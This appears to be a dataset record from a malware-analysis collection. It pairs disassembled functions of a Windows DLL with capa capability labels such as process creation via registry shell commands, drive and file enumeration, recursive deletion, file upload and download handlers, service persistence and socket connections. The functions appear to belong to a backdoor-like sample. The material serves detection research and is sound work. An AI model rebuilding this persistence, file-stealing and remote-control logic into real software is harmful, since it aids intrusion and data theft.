joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10002470
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
sub esp, 0x354
push ebx
push ebp
push esi
push edi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x6c]
push 0x2e
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x36c]
mov dword [esp + 0x18], 0x104
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 8
test eax, eax
jne 0x100024b5
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x354
ret 8
mov ebp, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [esp + 0x10]
push ecx
push 0xf003f
push 0
push eax
push closesocket
call ebp
test eax, eax
je 0x100024e2
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x354
ret 8
mov ecx, dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
lea edx, [esp + 0x14]
lea eax, [esp + 0x6c]
push edx
push eax
push 0
push ecx
call esi
mov edx, dword [esp + 0x10]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edx
call ebx
mov ecx, 0x7d
xor eax, eax
lea edi, [esp + 0x170]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x6c]
lea ecx, [esp + 0x170]
push eax
push str._sSHELLOPENCOMMAND
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x170]
push edx
push 0xf003f
push 0
push eax
push closesocket
call ebp
test eax, eax
je 0x10002561
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x354
ret 8
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x6c]
lea edx, [esp + 0x6c]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], 0x104
push ecx
push edx
push eax
mov eax, dword [esp + 0x1c]
push eax
call esi
mov ecx, dword [esp + 0x10]
push ecx
call ebx
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
lea edx, [esp + 0x6c]
push 0x1001403c
push edx
call esi
add esp, 8
test eax, eax
jne 0x100025de
lea eax, [esp + 0x6c]
push 0x10014038
push eax
call esi
add esp, 8
test eax, eax
jne 0x100025de
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x6c]
push 0x10014034
push ecx
call esi
mov edx, dword [esp + 0x368]
lea eax, [esp + 0x6c]
push edx
push eax
call esi
jmp 0x100025ed
mov ecx, dword [esp + 0x368]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x2c]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x36c]
mov dword [esp + 0x28], 0x44
test eax, eax
je 0x10002615
mov dword [esp + 0x30], str.WinSta0Default
lea edx, [esp + 0x18]
lea eax, [esp + 0x28]
push edx
push eax
push 0
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x88]
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x354
ret 8
Function at 0x10002650
Capabilities:
Get disk information
Get disk size
Get file system object information

Disassembly:
sub esp, 0x784
push ebx
lea eax, [esp + 0x128]
push ebp
push eax
mov dword [esp + 0x28], ecx
push pe_nt_image_headers32
mov byte [esp + 0x394], 0x67
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
mov al, byte [esp + 0x12c]
xor edx, edx
test al, al
lea ebp, [esp + 0x12c]
mov dword [esp + 0x10], edx
mov dword [esp + 0x14], edx
mov dword [esp + 0x18], edx
mov dword [esp + 0x1c], edx
mov ebx, 1
je 0x100027ed
push esi
push edi
jmp 0x100026aa
xor edx, edx
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x30]
push 0x104
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x34]
push ecx
push edx
push edx
push edx
push edx
push edx
push ebp
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push 0x410
lea edx, [esp + 0x238]
push 0x160
push edx
push 0x80
push ebp
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0x344]
push eax
call esi
mov edi, eax
lea ecx, [esp + 0x30]
inc edi
push ecx
mov dword [esp + 0x2c], edi
call esi
inc eax
mov dword [esp + 0x14], eax
mov al, byte [ebp]
cmp al, 0x41
je 0x1000275c
cmp al, 0x42
je 0x1000275c
lea edx, [esp + 0x18]
push 0
lea eax, [esp + 0x24]
push edx
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
test eax, eax
je 0x1000275c
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov ecx, 0x14
call fcn.10010460
mov edx, dword [esp + 0x24]
mov esi, eax
mov eax, dword [esp + 0x20]
mov ecx, 0x14
call fcn.10010460
mov dword [esp + 0x10], eax
jmp 0x10002762
xor esi, esi
mov dword [esp + 0x10], esi
mov cl, byte [ebp]
push ebp
mov byte [esp + ebx + 0x398], cl
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov edx, dword [esp + 0x10]
mov ecx, edi
mov byte [esp + ebx + 0x395], al
mov eax, ecx
mov dword [esp + ebx + 0x396], esi
lea esi, [esp + 0x344]
lea edi, [esp + ebx + 0x39e]
mov dword [esp + ebx + 0x39a], edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [esp + 0x28]
and ecx, 3
push ebp
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x18]
lea edx, [eax + ebx]
lea esi, [esp + 0x34]
lea edi, [esp + edx + 0x3a2]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, edx
add ecx, eax
lea ebx, [ebx + ecx + 0xa]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ebp, [eax + ebp + 1]
cmp byte [ebp], 0
jne 0x100026a8
pop edi
pop esi
mov ecx, dword [esp + 0x24]
lea edx, [esp + 0x38c]
push ebx
push edx
call fcn.100089e0
pop ebp
pop ebx
add esp, 0x784
ret
Function at 0x10002810
Capabilities:
Enumerate files on windows

Disassembly:
sub esp, 0x254
push ebp
push esi
push edi
mov esi, 0x2800
mov edi, ecx
push esi
push 0x40
mov dword [esp + 0x20], edi
mov dword [edi + 0x1c], 0
mov dword [esp + 0x1c], esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebp, eax
mov eax, dword [esp + 0x264]
push eax
lea ecx, [esp + 0x160]
push str._s.
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [esp + 0x1c]
lea eax, [esp + 0x15c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x10], eax
jne 0x10002893
lea ecx, [esp + 0xf]
push 1
push ecx
mov ecx, edi
mov byte [esp + 0x17], 0x68
call fcn.100089e0
pop edi
pop esi
pop ebp
add esp, 0x254
ret 4
push ebx
mov byte [ebp], 0x68
mov ebx, 1
jmp 0x100028a3
mov esi, dword [esp + 0x18]
lea edx, [esi - 0x208]
cmp ebx, edx
jbe 0x100028c3
add esi, 0x208
push 0x42
push esi
push ebp
mov dword [esp + 0x24], esi
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov ebp, eax
mov edi, 0x1001405c
lea esi, [esp + 0x4c]
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x100028f4
test al, al
je 0x100028f0
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x100028f4
add esi, 2
add edi, 2
test al, al
jne 0x100028cc
xor eax, eax
jmp 0x100028f9
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10002993
mov edi, 0x10014058
lea esi, [esp + 0x4c]
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x10002932
test al, al
je 0x1000292e
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x10002932
add esi, 2
add edi, 2
test al, al
jne 0x1000290a
xor eax, eax
jmp 0x10002937
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10002993
mov al, byte [esp + 0x20]
lea ecx, [esp + 0x4c]
and al, 0x10
push ecx
mov byte [ebx + ebp], al
inc ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, eax
lea esi, [esp + 0x4c]
mov edx, ecx
lea edi, [ebx + ebp]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
add ebx, eax
and ecx, 3
inc ebx
rep movsb byte es:[edi], byte [esi]
mov byte [ebx + ebp - 1], 0
mov eax, dword [esp + 0x3c]
mov dword [ebx + ebp], eax
mov ecx, dword [esp + 0x40]
mov dword [ebx + ebp + 4], ecx
mov edx, dword [esp + 0x34]
add ebx, 8
mov dword [ebx + ebp], edx
mov eax, dword [esp + 0x38]
mov dword [ebx + ebp + 4], eax
add ebx, 8
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x20]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x1000289f
mov ecx, dword [esp + 0x1c]
push ebx
push ebp
call fcn.100089e0
push ebp
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
pop ebx
mov eax, esi
pop edi
pop esi
pop ebp
add esp, 0x254
ret 4
Function at 0x100029e0
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
sub esp, 0x44c
lea eax, [esp + 0x348]
push ebx
push ebp
push esi
mov esi, dword [esp + 0x45c]
push edi
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
push esi
push str._s.
mov ebp, ecx
push eax
call edi
add esp, 0xc
lea ecx, [esp + 0x10]
lea edx, [esp + 0x358]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x10002a35
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x44c
ret 4
cmp byte [esp + 0x3c], 0x2e
je 0x10002a87
test byte [esp + 0x10], 0x10
lea eax, [esp + 0x3c]
push eax
push esi
push str._s_s
je 0x10002a6c
lea ecx, [esp + 0x15c]
push ecx
call edi
add esp, 0x10
lea edx, [esp + 0x150]
mov ecx, ebp
push edx
call fcn.100029e0
jmp 0x10002a87
lea ecx, [esp + 0x260]
push ecx
call edi
add esp, 0x10
lea edx, [esp + 0x254]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [esp + 0x10]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10002a35
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
pop edi
pop esi
test eax, eax
pop ebp
pop ebx
setne al
add esp, 0x44c
ret 4

Function at 0x10002ac0
Capabilities:
Get file size

Disassembly:
sub esp, 8
push ebx
push esi
lea edx, [ecx + 0x20]
push edi
mov dword [esp + 0x10], ecx
mov ebx, dword [esp + 0x18]
mov ecx, 0x41
xor eax, eax
mov edi, edx
push 0
rep stosd dword es:[edi], eax
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x80
mov eax, ecx
mov esi, edi
mov edi, edx
push 3
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
and ecx, 3
push 1
push closesocket
push ebx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x10002b24
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 8
ret 4
lea ecx, [esp + 0xc]
push ebp
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebp, eax
add ebp, 0xa
push ebp
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, ebp
mov ebx, eax
mov edx, ecx
xor eax, eax
mov edi, ebx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov byte [ebx], 0x69
mov eax, dword [esp + 0x10]
mov dword [ebx + 5], esi
mov esi, dword [esp + 0x1c]
push esi
mov dword [ebx + 1], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, eax
lea edi, [ebx + 9]
inc ecx
push ebp
mov edx, ecx
push ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x1c]
call fcn.100089e0
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop ebp
mov eax, esi
pop edi
pop esi
pop ebx
add esp, 8
ret 4
Function at 0x10002bc0
Capabilities:
Read file on windows

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push ebp
push edi
mov eax, dword [ebx + 4]
mov ebp, ecx
cmp eax, 0xffffffff
jne 0x10002bde
call fcn.10002ca0
pop edi
pop ebp
xor eax, eax
pop ebx
ret 4
push 0
push 0x80
push 3
push 0
push 1
lea eax, [ebp + 0x20]
push closesocket
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x10002c09
pop edi
pop ebp
or eax, eax
pop ebx
ret 4
mov ecx, dword [ebx + 4]
push esi
push 0
push ebx
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x2000
push 0x40
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
lea ecx, [esp + 0x14]
push 0
push ecx
mov byte [esi], 0x6a
mov edx, dword [ebx]
mov dword [esi + 1], edx
mov eax, dword [ebx + 4]
lea edx, [esi + 9]
push 0x1ff7
push edx
push edi
mov dword [esi + 5], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x14]
test eax, eax
jbe 0x10002c81
add eax, 9
mov ecx, ebp
push eax
push esi
call fcn.100089e0
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop esi
pop edi
pop ebp
pop ebx
ret 4
mov ecx, ebp
call fcn.10002ca0
mov edi, dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop esi
pop edi
pop ebp
pop ebx
ret 4
Function at 0x10003310
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [esp + 0x18]
push ebp
push esi
mov eax, dword [ebx]
push edi
mov ebp, dword [ebx + 4]
push 0
mov edi, ecx
push 0x80
push 3
push 0
push 2
lea ecx, [edi + 0x20]
push 0x40000000
push ecx
mov dword [esp + 0x40], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea edx, [esp + 0x24]
push 0
mov esi, eax
push edx
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, dword [esp + 0x28]
lea eax, [esp + 0x10]
push 0
add ecx, 0xfffffff8
push eax
add ebx, 8
push ecx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x24]
lea ecx, [esp + 0x14]
push 9
add eax, ebp
push ecx
mov ecx, edi
mov byte [esp + 0x1c], 0x70
mov dword [esp + 0x1d], edx
mov dword [esp + 0x21], eax
call fcn.100089e0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret 8

Function at 0x10003710
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x108
mov ecx, dword [esp + 0x10c]
push esi
push edi
lea eax, [esp + 0xc]
push 0x104
push eax
push ecx
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0
push 3
push 0
push 1
lea edx, [esp + 0x20]
push closesocket
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10003764
pop edi
xor eax, eax
pop esi
add esp, 0x108
ret
push 2
push 0
push 0xfffffc00
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x400
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov edi, eax
lea eax, [esp + 8]
push 0
push eax
push 0x400
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x118]
push 0
push 0x400
push ecx
push edi
call fcn.100036b0
add esp, 0x10
cmp eax, 0xffffffff
jne 0x100037cf
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
xor eax, eax
pop edi
pop esi
add esp, 0x108
ret
add eax, edi
pop edi
pop esi
add esp, 0x108
ret
Function at 0x100037e0
Capabilities:
Persist via windows service
Set registry value

Disassembly:
sub esp, 0x1fc
push ebx
push esi
push edi
push 0x1f4
lea eax, [esp + 0x18]
push str.systemcURRENTcONTROLsET_sERVICES_
push eax
mov dword [esp + 0x18], 0
call dword [sym.imp.MSVCRT.dll_strncpy]
mov edi, dword [esp + 0x218]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x14]
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0xc]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
push ecx
push getsockname
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x10]
push 4
push edx
push 4
push 0
push str.Type
push eax
mov dword [esp + 0x28], 0x120
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
add esp, 0x1fc
ret

Function at 0x10003890
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x204
push ebp
push esi
push edi
push 0x1f4
lea eax, [esp + 0x20]
push str.systemcURRENTcONTROLsET_sERVICES_
push eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
call dword [sym.imp.MSVCRT.dll_strncpy]
mov edi, dword [esp + 0x220]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x1c]
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0xc]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x20]
push ecx
push getsockname
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea edx, [esp + 0x14]
lea eax, [esp + 0x10]
push edx
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x1c]
push eax
push ecx
push 0
push str.Type
push edx
mov dword [esp + 0x2c], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, eax
mov eax, dword [esp + 0xc]
push eax
call edi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, dword [esp + 0xc]
push ecx
call edi
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
add esp, 0x204
ret

Function at 0x10004090
Capabilities:
Resolve dns

Disassembly:
mov eax, dword [esp + 4]
push esi
push eax
xor esi, esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x100040af
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
test eax, eax
je 0x100040af
mov eax, dword [eax]
pop esi
ret
mov eax, esi
pop esi
ret
Function at 0x100040f0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
sub esp, 0x10
push esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x1000410e
or eax, eax
pop esi
add esp, 0x10
ret
push edi
mov edi, dword [esp + 0x1c]
push edi
call fcn.10004090
add esp, 4
test eax, eax
jne 0x10004127
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x20]
push eax
mov word [esp + 0xc], 2
call dword [sym.imp.WS2_32.dll_htons]
lea ecx, [esp + 8]
push 0x10
push ecx
push esi
mov word [esp + 0x16], ax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
pop edi
jne 0x10004165
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
pop esi
add esp, 0x10
ret
mov eax, esi
pop esi
add esp, 0x10
ret

Function at 0x100044f0
Capabilities:
Create thread
Resolve dns

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x10004552
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x10004572
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
mov edx, ecx
lea edi, [esp + 0xc]
mov esi, dword [eax]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, str.192.168.1.2
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
jmp 0x1000456d
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, str.192.168.1.2
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
cmp dword [0x10014104], 0xffffffff
je 0x100045e0
mov esi, dword [esp + 0x18]
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
test esi, esi
mov dword [0x10014104], 0xffffffff
mov dword [0x10016328], 0
jle 0x100045c6
push 0
push 0
push 0
push 0x10004170
push 0
push 0
call edi
mov ecx, dword [0x10016328]
mov dword [ecx*4 + 0x10015f18], eax
inc ecx
cmp ecx, esi
mov dword [0x10016328], ecx
jl 0x1000459d
mov eax, dword [0x100140fc]
test eax, eax
je 0x100045e0
push 0
push 0
push 0
push 0x100040c0
push 0
push 0
call edi
pop edi
pop esi
ret
Function at 0x10004720
Capabilities:
Create thread
Resolve dns

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x10004782
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x100047a2
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
mov edx, ecx
lea edi, [esp + 0xc]
mov esi, dword [eax]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, str.192.168.1.2
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
jmp 0x1000479d
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, str.192.168.1.2
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [0x10014104]
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
cmp eax, 0xffffffff
mov dword [0x100140f8], ecx
mov dword [0x100140fc], edx
je 0x10004825
mov esi, dword [esp + 0x18]
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
test esi, esi
mov dword [0x10014104], 0xffffffff
mov dword [0x10016328], 0
jle 0x1000480b
push 0
push 0
push 0
push 0x100045f0
push 0
push 0
call edi
mov ecx, dword [0x10016328]
mov dword [ecx*4 + 0x10015f18], eax
inc ecx
cmp ecx, esi
mov dword [0x10016328], ecx
jl 0x100047e2
mov eax, dword [0x100140fc]
test eax, eax
je 0x10004825
push 0
push 0
push 0
push 0x100040c0
push 0
push 0
call edi
pop edi
pop esi
ret
Function at 0x10004950
Capabilities:
Create thread
Resolve dns

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x100049b2
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x100049d2
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
mov edx, ecx
lea edi, [esp + 0xc]
mov esi, dword [eax]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, str.192.168.1.2
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
jmp 0x100049cd
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, str.192.168.1.2
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x18]
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
test esi, esi
mov dword [0x100140f8], ecx
mov dword [0x100140fc], edx
mov dword [0x10014104], 0xffffffff
mov dword [0x10016328], 0
jle 0x10004a31
push 0
push 0
push 0
push 0x10004830
push 0
push 0
call edi
mov ecx, dword [0x10016328]
mov dword [ecx*4 + 0x10015f18], eax
inc ecx
cmp ecx, esi
mov dword [0x10016328], ecx
jl 0x10004a08
mov eax, dword [0x100140fc]
test eax, eax
je 0x10004a4b
push 0
push 0
push 0
push 0x100040c0
push 0
push 0
call edi
pop edi
pop esi
ret